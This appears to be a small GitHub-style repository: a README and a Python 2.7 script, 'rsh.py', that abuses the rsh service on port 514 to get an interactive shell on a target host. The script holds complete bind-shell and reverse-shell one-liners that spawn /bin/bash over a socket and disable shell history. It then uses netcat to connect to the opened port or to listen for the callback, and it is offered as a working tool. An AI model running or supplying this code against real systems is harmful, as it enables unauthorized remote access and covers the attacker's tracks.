├── README.md
└── rsh.py
/README.md:
--------------------------------------------------------------------------------
1 | # Rshell
2 | Working Rsh Client With Bind And Reverse Shell
3 | Dependencies:
4 | Python2.7
5 | Netcat
6 |
7 | Use Rsh To Get A Interactive Shell :)
8 | Usage:
9 | ./rsh.py 10.10.10.10 foobar foobar
10 | ./rsh.py ipaddr fromusr usrname
11 |
12 | Bugs:
13 | No Bugs Anymore
14 |
--------------------------------------------------------------------------------
/rsh.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/python2.7
2 | #Rsh Shell
3 | import sys
4 | import socket
5 | import random
6 | import time
7 | import subprocess
8 | import signal
9 |
10 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
11 |
12 | def getNetworkIp():
13 | s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
14 | s.connect(('www.google.com', 0))
15 | return s.getsockname()[0]
16 |
17 | def RunBindShell():
18 | BINDSHELL = 'python -c "import os,pty,socket;s = socket.socket(socket.AF_INET, socket.SOCK_STREAM);s.bind((\'0.0.0.0\', %s));s.listen(1);(rem, addr) = s.accept();os.dup2(rem.fileno(),0);os.dup2(rem.fileno(),1);os.dup2(rem.fileno(),2);os.putenv(\'HISTFILE\',\'/dev/null\');pty.spawn(\'/bin/bash\');s.close()"'%(bindport)
19 | s.bind(('0.0.0.0', myport))
20 | s.connect((host,514))
21 | SEND="%s\0%s\0%s\0" % (fromuser, username, BINDSHELL)
22 | s.send("\0")
23 | s.send(SEND)
24 | time.sleep(0.5)
25 | test = s.recv(1024)
26 | s.close()
27 | print 'Using Netcat To Connect To %s On Port %s\nType Exit Into The Shell Properly Kill The Open Port\n----------------------------------------------------'% (host,bindport)
28 | subprocess.call(['nc' , str(host), bindport])
29 |
30 | def RunReverseShell():
31 | uselocalip = raw_input('Get Ip Automatically? y/n:')
32 | if uselocalip.lower() =="y":
33 | localip = getNetworkIp()
34 | else:
35 | localip = raw_input('Type Your Ip For Reverse Connection:')
36 | print "Ip Changed To %s"%(localip)
37 | REVERSESHELL = 'python -c "import os,pty,socket;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\'%s\',%s));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);os.putenv(\'HISTFILE\',\'/dev/null\');pty.spawn(\'/bin/bash\');s.close()"'%(localip, bindport)
38 | s.bind(('0.0.0.0', myport))
39 | s.connect((host,514))
40 | SEND="%s\0%s\0%s\0" % (fromuser, username, REVERSESHELL)
41 | s.send("\0")
42 | s.send(SEND)
43 | print 'Using Netcat To Listen To On Port %s\nType Exit Into The Shell Properly Kill The Open Port\n----------------------------------------------------'% bindport
44 | subprocess.call(['nc' ,'-lp', bindport])
45 | time.sleep(0.5)
46 | test = s.recv(1024)
47 | s.close()
48 |
49 |
50 | if len(sys.argv) < 4:
51 | print "Example ./rsh.py 10.10.10.10(ip) foobar(fromuser) foobar(username)"
52 | sys.exit()
53 | else:
54 | host = sys.argv[1]
55 | fromuser = sys.argv[2]
56 | username = sys.argv[3]
57 |
58 | myport = random.randrange(600, 900)
59 | bindport = str(random.randrange(5000,6000))
60 |
61 |
62 |
63 | payloadtype = raw_input('------------------------\n1.)Reverse Shell \n2.)Bind Shell\n------------------------\nChoose Your Option:')
64 | if payloadtype ==("2"):
65 | RunBindShell()
66 | elif payloadtype ==("1"):
67 | RunReverseShell()
68 | else:
69 | print "Invalid Option"
70 | sys.exit()
71 |
--------------------------------------------------------------------------------